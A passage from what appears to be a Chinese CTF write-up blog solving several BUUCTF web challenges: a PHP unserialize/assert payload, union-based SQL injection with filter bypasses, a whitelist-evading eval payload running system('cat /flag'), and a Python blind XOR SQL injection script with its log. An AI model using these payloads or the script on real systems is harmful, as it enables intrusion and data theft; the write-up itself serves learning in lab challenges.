@$ppp = unserialize($_GET["data"]);

代码的核心在于反序列化那部分,前面的source舍弃即可绕过。

/*
反序列化部分的data一般情况下是调用当前文件拥有的类。
这道题有一个不易察觉,容易踩坑的考点,就是:
php配置文件限制了很多函数,服务器返回500的状态码基本就没戏了
这里真正需要反序列化的只有一个东西,只需要反序列化掉即可。
下面是反序列化脚本:
*/

<?php
class HelloPhp
{
public $a='phpinfo()';
public $b='assert';
}
$c = new HelloPhp;
echo(serialize($c));

# assert是system的替代品

把反序列化的脚本得到的结果放上去就能得到flag

get:http://xxx.xxx.xxx/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
return:(省略若干页面搜索)flag{de0a588b-c255-4b66-a7d1-5278825f706c}

总结

这个题目的表层代码很容易读懂,但是做题人是看不到内部配置限制了哪些函数,只能自己一点点的慢慢测试,直到测试到自己想要的函数输出对应的flag为止。

[SWPU2019]Web1

原始信息

题目提供的是:用户登录,用户注册,登录后主页展示,展示广告申请
1.登录名无法绕过,有admin用户,同时无法爆破admin密码
2.注册并且登录后,展示的功能点页面就只有申请注册广告,没有发现其它功能点
3.扫站扫不出个所以然

现在能直接看到效果的是:
1.用户登录后的主页:能看到新注册的用户广告申请
2.广告申请:能申请广告

解题

申请广告位:

<form class="form-signin" action="#" method="POST">
<h2 class="form-signin-heading">广告申请</h2>
<label for="inputEmail" class="sr-only">广告名</label>
<input type="text" name="title" class="form-control" placeholder="广告名" required autofocus>
<br>
<label for="inputPassword" class="sr-only">广告内容</label>
<textarea name="content" cols="30" rows="4" class="form-control" placeholder="内容不超过40个字"></textarea>
<br>
<input type="hidden" name="ac" value="add">
<input type="submit" class="btn btn-lg btn-primary btn-block" type="submit" value="申请">
<a href="index.php">返回首页</a>
</form>

申请后,用户主页会回显一条相关的申请信息,并且可以插入js代码。

广告名 	广告内容 		状态 			详情
user 123 待管理确认 广告详情

点击广告详情,会出现一个对应的页面,URL疑似SQL注入
http://xx.xx.xx/detail.php?id=1
测试了半天,没有任何破绽。无论任何SQL语句测试都无效。

已经写完的广告申请无法找到SQL注入,试着找写入广告是不是有漏洞:

暂时不管广告内容部分,先测标题。

标题部分:
1'or''=''--+
返回:
标题含有敏感词汇
测试:
允许: ' =
不允许:or -- #

尝试使用/**/代替空格,输入完毕后点击详情查看注入结果:
title=-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'&content=123&ac=add
它会返回一个东西:
广告名 广告内容 状态
2 3 待管理员确认
两个回显点出来了

尝试爆下数据库名和版本号信息
title=-1'union/**/select/**/1,version(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'&content=123&ac=add
回显:
0.2.26-MariaDB-log web1

没有办法使用information_schema,发现还有其他表如mysql.innodb_table_statssys.schema_table_statistics_with_buffer可以看表名、数据库名,就是没有列名。

上面的这段话引自他人博客,information_schema表确实被禁用了,必须找其它方法调用相似的表来处理问题。

title=-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
&content=2
&ac=add

广告名 广告内容 状态
ads,users 3 待管理确认 # 发聩了表名

这里有个问题,列名,这个表没有……

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这整个SQL很难读懂,简单拆分下:

select group_concat(b) from (select 1,2 as b,3 union select * from users)a
其中,相当于select * from tables
一个表格:
相当于:select输出三个列名,使用union联合查询,查询users表

语句1
select 1,2 as b,3 union select * from users
这个用法需要十分的注意下,也是需要测试的。它们外面的a是别名。

假设:
语句1select 1,2,3,4
语句2select * from demo
想联合这两个语句,就必须两select对应的结果列数相等。

语句2
上面的复杂语句使用a(别名)代替
select group_concat(b) from a
这个部分的作用和group_concat有着莫大的关系。
这个函数是聚合输出一列的值。
假设:
表:user
id name
1 小明
2 小刚
3 小吴
使用聚合输出:select group_concat(name) from user
输出的结果一定是:
小明,小刚,小吴

经过上面一通解析,相信再怎么看不懂的人也都看懂了。

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这个和上面差不多,只是换了个输出列而已。as也是写别名的意思。

经过这最后一次,就能得到flag了。

总结

总结的来讲,这道题是在不断的测试注入点,先是用户名密码的注册,后是申请广告的时候的标题和申请内容的注入,最后是申请后id号的注入。

测注入的目的至始至终只有一个,那就是:看看哪些能和数据库查询直接挂钩,只要挂钩,就能尝试注入。

[CISCN 2019 初赛]Love Math

原始信息

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

解题

遇事不决,白盒分析:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
//长度限制
if (strlen($content) >= 80) {
die("太长了不会算");
}
//限制字符串,黑名单
//不限制的字符串有:(),{},_,-,^,$,','
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
//黑名单过滤
//m:支持换行匹配
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
// 从$content中查找函数名,并且存储在$used_funcs当中
// 它会将匹配到的所有函数名存储到$used_funcs[0]当中
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
// 将函数名和对应的值进行匹配
foreach ($used_funcs[0] as $func) {
//只要匹配不上上面的列出的函数名,就一定截断程序执行
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
// 最终目标,输出我们想要的东西的执行结果
eval('echo '.$content.';');
}

eval是我们想要利用的点,但怎么做才能绕开诸多限制达到这里是个十分急需解决的问题。

取出看似有用的函数名
base_convert(): 在不同的进制之间转换一个数字的字符串表示。
bindec(): 将一个二进制数转换为其十进制表示。
ceil(): 对一个数进行向上取整。
decbin(): 将一个十进制数转换为其二进制表示。
dechex(): 将一个十进制数转换为其十六进制表示。
decoct(): 将一个十进制数转换为其八进制表示。
exp(): 计算幂函数的指数值。
hexdec(): 将一个十六进制数转换为其十进制表示。

限制条件

  • 长度80字符

  • 必须使用限定的php函数

  • 传入的参数只有c

白盒审计的三关卡

关卡1

if (strlen($content) >= 80) {
die("太长了不会算");
}

思路分为两种:

  1. 尝试使用最短字符串绕过(难)
  2. 尝试使用特殊的函数进行绕过(方法可行)

关卡2

//限制字符串,黑名单
//不限制的字符串有:(),{},_,-,^,$,','
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
//黑名单过滤
//m:支持换行匹配
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}

关卡3

//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
// 从$content中查找函数名,并且存储在$used_funcs当中
// 它会将匹配到的所有函数名存储到$used_funcs[0]当中
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
// 将函数名和对应的值进行匹配
foreach ($used_funcs[0] as $func) {
//只要匹配不上上面的列出的函数名,就一定截断程序执行
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}

遇到一位十分聪明的大佬,他的解决思路大概是这样子的:

c=$pi=$_GET[a]($_GET[b])&a=system&b=cat /flag

然后利用进制转换进一步的修饰即可得到flag

c=$pi=_GET;($_GET){pi}($_GET){abs}&pi=system&abs=cat /flag
# 稍微拆分下上面的语句:
$pi = '_GET'
($_GET){pi} <=> $_GET['pi']
($_GET){abs}<=> $_GET['abs']

# 根据get的那种方法,稍微变式GET方法
$$pi{pi}$$pi{abs}&pi=system&abs=cat /flag
# 再次解读下
$$pi{pi} <=> $_GET['pi']
$$pi{abs} <=> $_GET['abs']

# 最终进行合并
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
#再次解读下:
// 利用36进制转换
base_convert(37907361743,10,36) => hex2bin
// 转换10进制为16进制
dechex(1598506324) => 5f474554
// 合并起来转换
hex2bin(5f474554) => _GET

核心的利用点是使用get参数代替了函数名和传参值,并且使用了

(){}

的形式跳过了方括号限制。

总结

学习了36进制转换,以及

利用eval()函数对字符串进行类似于$pi=xxx的赋值操作。
还有跨越方括号的障碍完成获取$_GET参数的值等等。

[极客大挑战 2019]FinalSQL

原始信息

题目提示的信息很少,差不多:

首先是一个网站5个按钮,一个账户登录,分别是如下的url:
用户访问指定id的url
http://00a817db-1c3d-4e95-88a1-38b20e8960f8.node4.buuoj.cn:81/search.php?id=1
用户登录的url
http://00a817db-1c3d-4e95-88a1-38b20e8960f8.node4.buuoj.cn:81/check.php?username=1&password=1

# 测试了一番:
1.无法使用堆叠注入(限制union)
2.无法使用报错注入(非数据库原始报错信息)
3.无法使用时间盲注(费时费力,下面测试的时候跑个flag都十分的费劲)
4.直接在账密上使用布尔盲注容易出擦子,采用id上的注入

解题

解题前,先记下返回的值:

#下面全是针对search.php的:
id=1 NO! Not this! Click others~~~
id=2 yingyingying~ Not this as well~~
id=3 Ohhh You find the flag read on!
id=4 OK OK I will tell you,just in the next! really~~~~
id=5
You are too naive!How can I give it to you? So,why not take a look at the sixth one?But where is it?
id=6 Clever! But not this table.
#从下面往后,全是报错:
id=7 ERROR!!!
id=0 ERROR!!!
id=-1 ERROR!!!

有一种特殊的报错,是Error! <br>,就目前观察来看,是符合当前注入的SQL查询错误。

再补充下异或得到的值:
1^0 1
1^1 0
1^2 3
1^3 2
1^4 5
1^5 4
1^6 7
1^7 6

一般来讲,1^true=0,1^false=1
这是异或注入的原理
也就是说,我们经常使用到的是:
1^(true)=0 ERROR!!!
1^(false)=1 NO! Not this! Click others~~~
这俩数据,是我们进行爆破的核心关键所在。

根据上面的回显的字符串,我们尝试做下异或注入,也称作布尔注入,布尔盲注。

# 大括号的意思是包含了某个值,大括号的具体内容看下面脚本就行了
# 尝试测测库长度,直接测出来了
?id=1^(length(database()));
-- 得到的值等价于4,说明数据库的名字是四位的

# 尝试爆库名
?id=1^(ascii(SUBSTRING(database(),1,1))=103);
-- 分别爆出的:103,101,101,107 => geek

# 尝试爆列爆表
# 爆表名长度
?id=1^((SELECT(length(GROUP_CONCAT(table_name)))FROM(information_schema.tables)where(table_schema=database()))=16)
-- 得到的是16

#爆破表名
#一个是上面获取的字符串长度轮换变化,一个是0128的ascii码的十进制数字变化
?id=1^((SELECT(ascii(SUBSTRING(GROUP_CONCAT(table_name),{},1)))FROM(information_schema.tables)where(table_schema=database()))={})
-- 爆出来的是: F1naI1y,Flaaaaag

# 尝试根据Flaaaaag表名爆列值
?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="Flaaaaag"))={});
-- 得到id,fl4gawsl
# 尝试爆列值
-- 这个爆列值就算了,就是个报错集中表,就是那些id=1到id=6的存放表
-- 暂时排除此处存在flag的情况

# 尝试爆破另外一个表F1naI1y
# 爆列名
?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="F1naI1y"))={});
-- 爆出来的列是id,username,password
# 用户名爆不出东西,尝试爆破密码
?id=1^((select(ord(SUBSTRING(GROUP_CONCAT(password),{},1)))from(geek.F1naI1y))={});
-- 这爆破实在是久得离谱……
-- 用上了ascii码,并且排除了特殊字符,就那么慢慢爆破
-- 这个时候就能暂时放下手中的题目,先去做别的题了

下面是具体的脚本:

# coding=utf-8
import requests,re,time
# 火狐浏览器UA
data = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}

# 错误提示集--短集合
arr = ['NO!','yingyingying','Ohhh','OK OK I','You are','Clever!']

# 专门搞传输的模块
def get_url(url,data):
req = requests.get(url, headers=data)
html_content = req.text
# 正则表达式
pattern = r"<h1.*?>(.*?)</h1>"
matches = re.findall(pattern, html_content)
return matches

# ascii码的碰撞单元
def ascii_get(url,url_edit,num,s):
stt = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[\]^_`{|}~ !"#$%&'()*+,-./0123456789:;<=>?@"""
for i in stt:
time.sleep(0.1)
urls = url + url_edit.format(num + 1, ord(i))
matches = get_url(urls, data)
# print(matches,num+1,i,urls)
try:
if matches == []:
continue
if 'ERROR' in matches[0]:
s += i
# print(s)
break
if '414 Request-URI Too Large' in matches[0]:
# print(n, i, strs, urls)
print(url)
except:
pass
return s

def get_data_len(url,data,url_edit,n=1):
urls = url+url_edit
value = get_url(urls,data)
if n==1:
for i in arr:
if i in value[0]:
return arr.index(i)
return value
elif n==2:
pass

def get_data_name(url,url_edit,n,data_name_input):
urls = ''
data_name = ''
# 根据获取的数据库名字的长度输出数据库名字
s = ''
stt = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[\]^_`{|}~ !"#$%&'()*+,-./0123456789:;<=>?@"""
# for循环读取数据库库名
for num in range(n):
original = s
s = ascii_get(url,url_edit,num,s)
print('{}:'.format(data_name_input),s)
if s == original:
break
return s

def get_flag(flag_str):
regular_expression = '.*?flag{(.*?)}.*?'
matches = re.findall(regular_expression, flag_str)[0]
print('你需要的flag为:flag{'+matches+"}")

def url_edit(url):
if url[-1] == '/':
return url[:-1]
return url

if __name__ == '__main__':
url = input('请输入一个合法的url(不需要带参数,形如:http://xxx.xxx.xxx:81)\n不正确运行出错就是你自己的事情喽:\n')
url = url_edit(url)

# 获取当前数据库的名字的长度
url_edit = '/search.php?id=1^(length(database()));'
data_len = get_data_len(url,data,url_edit)
print('数据库名字的长度:',data_len)
if data_len == ['404']:
print('你的靶场已关闭,状态码:404')
exit()
# 获取当前数据库名
url_edit = '/search.php?id=1^(ord(SUBSTRING(database(),{},1))={});'
data_name = get_data_name(url,url_edit,data_len,'数据库名')
# 根据数据库爆表
print('即将爆破出数据库'+data_name+'的表:')
url_edit = '/search.php?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(table_name),{},1)))FROM(information_schema.tables)where(table_schema=database()))={});'
table_name = get_data_name(url,url_edit,1000,'表名').split(',')
# 爆列名
print('即将爆破的表:',table_name[0])
url_edit = '/search.php?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="'+table_name[0]+'"))={});'
column_name = get_data_name(url,url_edit,1000,'列名').split(',')

# 爆值
print('即将被爆破的列:',column_name[-1])
table_names = data_name + '.' + table_name[0]
url_edit = '/search.php?id=1^((select(ord(SUBSTRING(GROUP_CONCAT('+ column_name[-1] +'),{},1)))from('+table_names+'))={});'
list_val = get_data_name(url,url_edit,1000,'列值')
get_flag(list_val)

下面是爆破的结果,十分的长。

满打满算,也就跑了快一个小时吧。

数据库名字的长度: 4
数据库名: g
数据库名: ge
数据库名: gee
数据库名: geek
即将爆破出数据库geek的表:
表名: F
表名: F1
表名: F1n
表名: F1na
表名: F1naI
表名: F1naI1
表名: F1naI1y
表名: F1naI1y,
表名: F1naI1y,F
表名: F1naI1y,Fl
表名: F1naI1y,Fla
表名: F1naI1y,Flaa
表名: F1naI1y,Flaaa
表名: F1naI1y,Flaaaa
表名: F1naI1y,Flaaaaa
表名: F1naI1y,Flaaaaag
表名: F1naI1y,Flaaaaag
即将爆破的表: F1naI1y
列名: i
列名: id
列名: id,
列名: id,u
列名: id,us
列名: id,use
列名: id,user
列名: id,usern
列名: id,userna
列名: id,usernam
列名: id,username
列名: id,username,
列名: id,username,p
列名: id,username,pa
列名: id,username,pas
列名: id,username,pass
列名: id,username,passw
列名: id,username,passwo
列名: id,username,passwor
列名: id,username,password
列名: id,username,password
即将被爆破的列: password
列值: c
列值: cl
列值: cl4
列值: cl4y
列值: cl4y_
列值: cl4y_i
列值: cl4y_is
列值: cl4y_is_
列值: cl4y_is_r
列值: cl4y_is_re
列值: cl4y_is_rea
列值: cl4y_is_real
列值: cl4y_is_reall
列值: cl4y_is_really
列值: cl4y_is_really_
列值: cl4y_is_really_a
列值: cl4y_is_really_am
列值: cl4y_is_really_ama
列值: cl4y_is_really_amaz
列值: cl4y_is_really_amazi
列值: cl4y_is_really_amazin
列值: cl4y_is_really_amazing
列值: cl4y_is_really_amazing,
列值: cl4y_is_really_amazing,w
列值: cl4y_is_really_amazing,we
列值: cl4y_is_really_amazing,wel
列值: cl4y_is_really_amazing,welc
列值: cl4y_is_really_amazing,welco
列值: cl4y_is_really_amazing,welcom
列值: cl4y_is_really_amazing,welcome
列值: cl4y_is_really_amazing,welcome_
列值: cl4y_is_really_amazing,welcome_t
列值: cl4y_is_really_amazing,welcome_to
列值: cl4y_is_really_amazing,welcome_to_
列值: cl4y_is_really_amazing,welcome_to_m
列值: cl4y_is_really_amazing,welcome_to_my
列值: cl4y_is_really_amazing,welcome_to_my_
列值: cl4y_is_really_amazing,welcome_to_my_b
列值: cl4y_is_really_amazing,welcome_to_my_bl
列值: cl4y_is_really_amazing,welcome_to_my_blo
列值: cl4y_is_really_amazing,welcome_to_my_blog
列值: cl4y_is_really_amazing,welcome_to_my_blog,
列值: cl4y_is_really_amazing,welcome_to_my_blog,h
列值: cl4y_is_really_amazing,welcome_to_my_blog,ht
列值: cl4y_is_really_amazing,welcome_to_my_blog,htt
列值: cl4y_is_really_amazing,welcome_to_my_blog,http
列值: cl4y_is_really_amazing,welcome_to_my_blog,http:
列值: cl4y_is_really_amazing,welcome_to_my_blog,http:/
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://w
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://ww
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.c
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.t
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.to
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,h
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,ht
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,htt
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http:
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http:/
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://w
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://ww
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.c
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.t
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.to
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,h
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,ht
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,htt
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http:
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http:/
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://w
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://ww
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.c
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.t
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.to
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,h
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,ht
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,htt
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http:
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http:/
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://w
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://ww
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.c
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.t
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.to
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,w
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,we
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,wel
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welc
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welco
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_t
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_
